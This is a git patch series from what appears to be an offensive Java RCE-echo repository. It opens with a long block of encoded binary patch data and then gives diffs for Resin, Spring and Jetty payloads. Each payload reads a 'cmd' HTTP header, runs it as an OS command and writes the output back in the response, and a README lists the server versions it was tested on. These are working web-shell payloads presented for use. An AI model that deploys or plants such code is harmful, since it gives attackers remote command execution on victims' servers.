z=q9T|%p|6~i?hbFt=9THI2?pfl{@VOelst5CXNOXe?Q@I?JS9E!p^Z1I_q@- z?Q?A}sL?oEwLaFSRjd1_J@@z7@XL6v^(b>U*MphP!WZprz{qyc78^15y1OWRGqZ{u6!BeZE8$AWWXf$jp|8P>Nvtb@aXQ zC7Q~$pB_)s7l=F+`{%kY;NoWDfKuka@#7fLiv9E_Ubep!r-)-c$yb$Ixkq4OdZB@< zbAjROw*{PRX+<(7&-R13<65>Xv%b-eJz_HI_xkEHMjL(iQIf=jMu>G7X;gBXaqETyI0C8Ec|%;M!Tl$a;;LZ zly5^HZvGb1|8sk_t#`h}86riG+FVwRNXGSpF#cOi8uX$_UW`1*_%+3PZzQ3;k8`zF zCzuFJPP_j5`}TC@X?h2w>l;YSzqtN|w{D|4daWfyToeSq5w>`NgvX9>AO`ebPrlB<}*ktSB+KXS3_u8rGR0b-N&Z@D_ zE7{@U)7Mo^sDV==uGrCwe~Dq67AolGdG5$`a+)bi-&Z^9JwR9WCTQ?zr-AR;1Zz9B zCw|U--rv%lY`X_fls`6q&OX!0H9wmv2e<=YkMnXBsNW9pitRp^BcF`c#->gy^+M&0 zD!j-?$FH^MlN1(dIN#VQxIr-Vf7X#F0mbfT?CbBDU#_r;P8cb@+er$e4ApxwB0S{5 z!V(K78Mp35Nh{|-!?r)tAFp+7nbGl~0&mMLwu zCYWiEqpVY48GT`@7=AxI(gEd+@R6nSV?VOOm)1tDj*0Pj&CaYtD2~%1UtniJ2U!&T z$!_;+i!+D_^UZn*etsR_h)(n2nAO*7@k|BB*KoKN)96);$AG>Yx(Vza2Z#N?xP}!V z)L9O+DRtj@ITX7!fTE=<#&>)t&-ZGijh9P}Q8m^f(%JZa=Y>&+8*6Lu7-c2M8b_{8 zq(@ela>yma;rv5e@AO`GQ)B}C)@6O(ql8mAch?zr6>1YbkTyT3J_&yF5o%>{?VB*% zC1ywXsZg&PqACe6372NXR^-iF*!8#_6nG1AMS>QBA*B>F>nhBa8VcAsat=M0Y4}+7 zVn{7D#sgeE+5*umzhac&u*Fd4)rdEFs=H8-M@A<|ZFjEM_L$sr}wLoI}pTfmm0V)$c|`#@`-Ev{7>6c8kQ zOZKsl2h=T552-!jA%Itvr-Vm`C9Bxs1kfK#FB361TR!P??iiwWDacPM>E;UT1y
    U$OXqLhA)p(^Ta4Lf&%aV!pcJ>k?- zOPTO;>IlbBa)SY(d$Qw@#W;| zz9XfwqzLM$beW`>+%fj*@b>UafMFi8wz}#Q{Ha$t1jEBap)Wu?Gp@QpteaB10P;cW zR5)Vaa-w~>euuCNs6MW^bI-Zq5}Vp3 zQ{zSznYG(|RqhpMK^_l8!OR=evk3{~Picdph(Jdc|) z^_FQTK{?d@v8@M(g8Qi(8|gSY#%1~sqP0^zs9Am*HS0aKk6E(C0A{Y@r^e` zNt`%X3ALE9z+(#E_Ey+uhjlLWhY@O9ujWOT;Ye-%d?DlH7*~>A-EmGNuuywYPqQr=h<`QwPfo`<^sR zcP$sS(Y^CF@|06JI^H$E-ji=7$e&bu)l#O@#Kk-`K@-t|{j(dB7j-A0+IO#@H;86X z_;Oa_w{lim8>&}3k^wU}ZH5%g Date: Thu, 15 Oct 2020 11:01:57 +0800 Subject: [PATCH 2/5] =?UTF-8?q?=E5=A2=9E=E5=8A=A0=E7=A9=BA=E6=8C=87?= =?UTF-8?q?=E9=92=88=EF=BC=88=E7=A9=BA=E5=AD=97=E7=AC=A6=E4=B8=B2)?= =?UTF-8?q?=E5=88=A4=E6=96=AD=EF=BC=8C=E5=8F=AF=E4=BB=A5=E5=BF=BD=E7=95=A5?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Resin/code/resinEcho.jsp | 23 ++++++++++++-------- Spring/code/SpringMVCTestController.java | 6 +++-- Spring/code/SpringWebFlowTestController.java | 6 +++-- 3 files changed, 22 insertions(+), 13 deletions(-) diff --git a/Resin/code/resinEcho.jsp b/Resin/code/resinEcho.jsp index d9a6b19..da00953 100644 --- a/Resin/code/resinEcho.jsp +++ b/Resin/code/resinEcho.jsp @@ -1,6 +1,6 @@ <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% - Class clazz = Thread.currentThread().getClass(); + Class clazz = Thread.currentThread().getClass(); java.lang.reflect.Field field = clazz.getSuperclass().getDeclaredField("threadLocals"); field.setAccessible(true); Object obj = field.get(Thread.currentThread()); @@ -21,14 +21,19 @@ if(obj != null && obj.getClass().getName().equals("com.caucho.server.http.HttpRequest")){ com.caucho.server.http.HttpRequest httpRequest = (com.caucho.server.http.HttpRequest)obj; String cmd = httpRequest.getHeader("cmd"); - String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); - com.caucho.server.http.HttpResponse httpResponse = httpRequest.createResponse(); - httpResponse.setHeader("Content-Length", res.length() + ""); - java.lang.reflect.Method method = httpResponse.getClass().getDeclaredMethod("createResponseStream", null); - method.setAccessible(true); - com.caucho.server.http.HttpResponseStream httpResponseStream = (com.caucho.server.http.HttpResponseStream) method.invoke(httpResponse,null); - httpResponseStream.write(res.getBytes(), 0, res.length()); - httpResponseStream.close(); + + if(cmd != null && !cmd.isEmpty()){ + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + com.caucho.server.http.HttpResponse httpResponse = httpRequest.createResponse(); + httpResponse.setHeader("Content-Length", res.length() + ""); + java.lang.reflect.Method method = httpResponse.getClass().getDeclaredMethod("createResponseStream", null); + method.setAccessible(true); + com.caucho.server.http.HttpResponseStream httpResponseStream = (com.caucho.server.http.HttpResponseStream) method.invoke(httpResponse,null); + httpResponseStream.write(res.getBytes(), 0, res.length()); + httpResponseStream.close(); + } + + break; } } %> \ No newline at end of file diff --git a/Spring/code/SpringMVCTestController.java b/Spring/code/SpringMVCTestController.java index 7552318..cd936d0 100644 --- a/Spring/code/SpringMVCTestController.java +++ b/Spring/code/SpringMVCTestController.java @@ -19,8 +19,10 @@ public User Test() throws IOException { javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse(); String cmd = httprequest.getHeader("cmd"); - String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); - httpresponse.getWriter().println(res); + if(cmd != null && !cmd.isEmpty()){ + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + httpresponse.getWriter().println(res); + } return new User(); } diff --git a/Spring/code/SpringWebFlowTestController.java b/Spring/code/SpringWebFlowTestController.java index c6d73b9..82f13c6 100644 --- a/Spring/code/SpringWebFlowTestController.java +++ b/Spring/code/SpringWebFlowTestController.java @@ -26,8 +26,10 @@ public String test() throws IOException { javax.servlet.http.HttpServletResponse response = (javax.servlet.http.HttpServletResponse) servletExternalContext.getNativeResponse(); String cmd = request.getHeader("cmd"); - String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); - response.getWriter().println(res); + if(cmd != null && !cmd.isEmpty()){ + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + response.getWriter().println(res); + } return "test"; } From e755a081363fbbd1c3bacdfec221ed874d17c42f Mon Sep 17 00:00:00 2001 From: feihong Date: Thu, 15 Oct 2020 11:12:48 +0800 Subject: [PATCH 3/5] =?UTF-8?q?=E5=A2=9E=E5=8A=A0=E7=A9=BA=E6=8C=87?= =?UTF-8?q?=E9=92=88/=E7=A9=BA=E5=AD=97=E7=AC=A6=E5=88=A4=E6=96=AD?= =?UTF-8?q?=EF=BC=8C=E5=A2=9E=E5=8A=A0break=E8=AF=AD=E5=8F=A5?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Jetty/code/jetty789Echo.jsp | 36 +++++++++++++++++++++--------------- Jetty/code/jetty78Echo.jsp | 13 ++++++++----- Jetty/code/jetty9Echo.jsp | 23 +++++++++++++---------- 3 files changed, 42 insertions(+), 30 deletions(-) diff --git a/Jetty/code/jetty789Echo.jsp b/Jetty/code/jetty789Echo.jsp index 847e28e..4028bf4 100644 --- a/Jetty/code/jetty789Echo.jsp +++ b/Jetty/code/jetty789Echo.jsp @@ -24,14 +24,17 @@ obj = method.invoke(connection, null); method = obj.getClass().getMethod("getHeader", new Class[]{String.class}); - obj = method.invoke(obj, new Object[]{"cmd"}); + String cmd = (String)method.invoke(obj, new Object[]{"cmd"}); - String res = new java.util.Scanner(Runtime.getRuntime().exec(obj.toString()).getInputStream()).useDelimiter("\\A").next(); + if(cmd != null && !cmd.isEmpty()){ + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); - method = connection.getClass().getMethod("getPrintWriter", new Class[]{String.class}); - java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(connection, new Object[]{"utf-8"}); - printWriter.println(res); + method = connection.getClass().getMethod("getPrintWriter", new Class[]{String.class}); + java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(connection, new Object[]{"utf-8"}); + printWriter.println(res); + } + break; }else if(obj != null && obj.getClass().getName().endsWith("HttpConnection")){ java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel", null); Object httpChannel = method.invoke(obj, null); @@ -40,16 +43,19 @@ obj = method.invoke(httpChannel, null); method = obj.getClass().getMethod("getHeader", new Class[]{String.class}); - obj = method.invoke(obj, new Object[]{"cmd"}); - - String res = new java.util.Scanner(Runtime.getRuntime().exec(obj.toString()).getInputStream()).useDelimiter("\\A").next(); - - method = httpChannel.getClass().getMethod("getResponse", null); - obj = method.invoke(httpChannel, null); - - method = obj.getClass().getMethod("getWriter", null); - java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(obj, null); - printWriter.println(res); + String cmd = (String)method.invoke(obj, new Object[]{"cmd"}); + if(cmd != null && !cmd.isEmpty()){ + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + + method = httpChannel.getClass().getMethod("getResponse", null); + obj = method.invoke(httpChannel, null); + + method = obj.getClass().getMethod("getWriter", null); + java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(obj, null); + printWriter.println(res); + } + + break; } } %> \ No newline at end of file diff --git a/Jetty/code/jetty78Echo.jsp b/Jetty/code/jetty78Echo.jsp index 6165920..cda8dbd 100644 --- a/Jetty/code/jetty78Echo.jsp +++ b/Jetty/code/jetty78Echo.jsp @@ -22,13 +22,16 @@ obj = method.invoke(connection); method = obj.getClass().getMethod("getHeader", String.class); - obj = method.invoke(obj, "cmd"); + String cmd = (String)method.invoke(obj, "cmd"); + if(cmd != null && !cmd.isEmpty()){ + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); - String res = new java.util.Scanner(Runtime.getRuntime().exec(obj.toString()).getInputStream()).useDelimiter("\\A").next(); + method = connection.getClass().getMethod("getPrintWriter", String.class); + java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(connection, "utf-8"); + printWriter.println(res); + } - method = connection.getClass().getMethod("getPrintWriter", String.class); - java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(connection, "utf-8"); - printWriter.println(res); + break; } } %> \ No newline at end of file diff --git a/Jetty/code/jetty9Echo.jsp b/Jetty/code/jetty9Echo.jsp index 67a0aff..9b5e807 100644 --- a/Jetty/code/jetty9Echo.jsp +++ b/Jetty/code/jetty9Echo.jsp @@ -24,16 +24,19 @@ obj = method.invoke(httpChannel); method = obj.getClass().getMethod("getHeader", String.class); - obj = method.invoke(obj, "cmd"); - - String res = new java.util.Scanner(Runtime.getRuntime().exec(obj.toString()).getInputStream()).useDelimiter("\\A").next(); - - method = httpChannel.getClass().getMethod("getResponse"); - obj = method.invoke(httpChannel); - - method = obj.getClass().getMethod("getWriter"); - java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(obj); - printWriter.println(res); + String cmd = (String)method.invoke(obj, "cmd"); + if(cmd != null && !cmd.isEmpty()){ + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + + method = httpChannel.getClass().getMethod("getResponse"); + obj = method.invoke(httpChannel); + + method = obj.getClass().getMethod("getWriter"); + java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(obj); + printWriter.println(res); + } + + break; } } %> \ No newline at end of file From 9108fda79ce8aa594076bd66679b15a00032ecc1 Mon Sep 17 00:00:00 2001 From: feihong <59082458+feihong-cs@users.noreply.github.com> Date: Thu, 15 Oct 2020 11:22:15 +0800 Subject: [PATCH 4/5] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 364af69..6dc3acc 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,8 @@ - [x] Windows通用回显 - [x] Spring回显 - [x] Tomcat通用回显 (Tested on 6.0.10/6.0.53/7.0.34/7.0.54/7.0.70/7.0.96/7.0.104/8.0.18/8.0.32/8.0.48/8.5.12/8.5.30/8.5.56/9.0.16/9.0.33, failed on 7.0.10/7.0.22) -- [x] Weblogic +- [x] Weblogic (Tested on 10.3.6.0, 12.1.3.0.0) +- [x] Websphere (Tested on AppServer V8.5(8.5.5.18), AppServer V9.0(9.0.5.5)) - [x] JBoss(Wildfly) (Testd on 8.0.0.Final, 18.0.0.Final, 21.0.0.Beta1) - [x] Resin (Tested on pro-4.0.64, pro-4.0.57, pro-4.0.45, pro-4.0.32, failed on pro-3.1.15) - [x] Jetty (Tested on 9.4.30.v20200611, 9.3.28.v20191105, 9.2.29.v20191105, 9.0.7.v20131107, 8.1.21.v20160908, 7.6.21.v20160908, From 7b8b6d0a388edac7265921df209eb57d1c117844 Mon Sep 17 00:00:00 2001 From: feihong <59082458+feihong-cs@users.noreply.github.com> Date: Thu, 15 Oct 2020 11:24:13 +0800 Subject: [PATCH 5/5] Create README.md --- Websphere/README.md | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 Websphere/README.md diff --git a/Websphere/README.md b/Websphere/README.md new file mode 100644 index 0000000..6cfeb58 --- /dev/null +++ b/Websphere/README.md @@ -0,0 +1,5 @@ +# Websphere 回显 + +## 效果 +![img](https://raw.githubusercontent.com/feihong-cs/Java-Rce-Echo/master/Websphere/img/001.png) +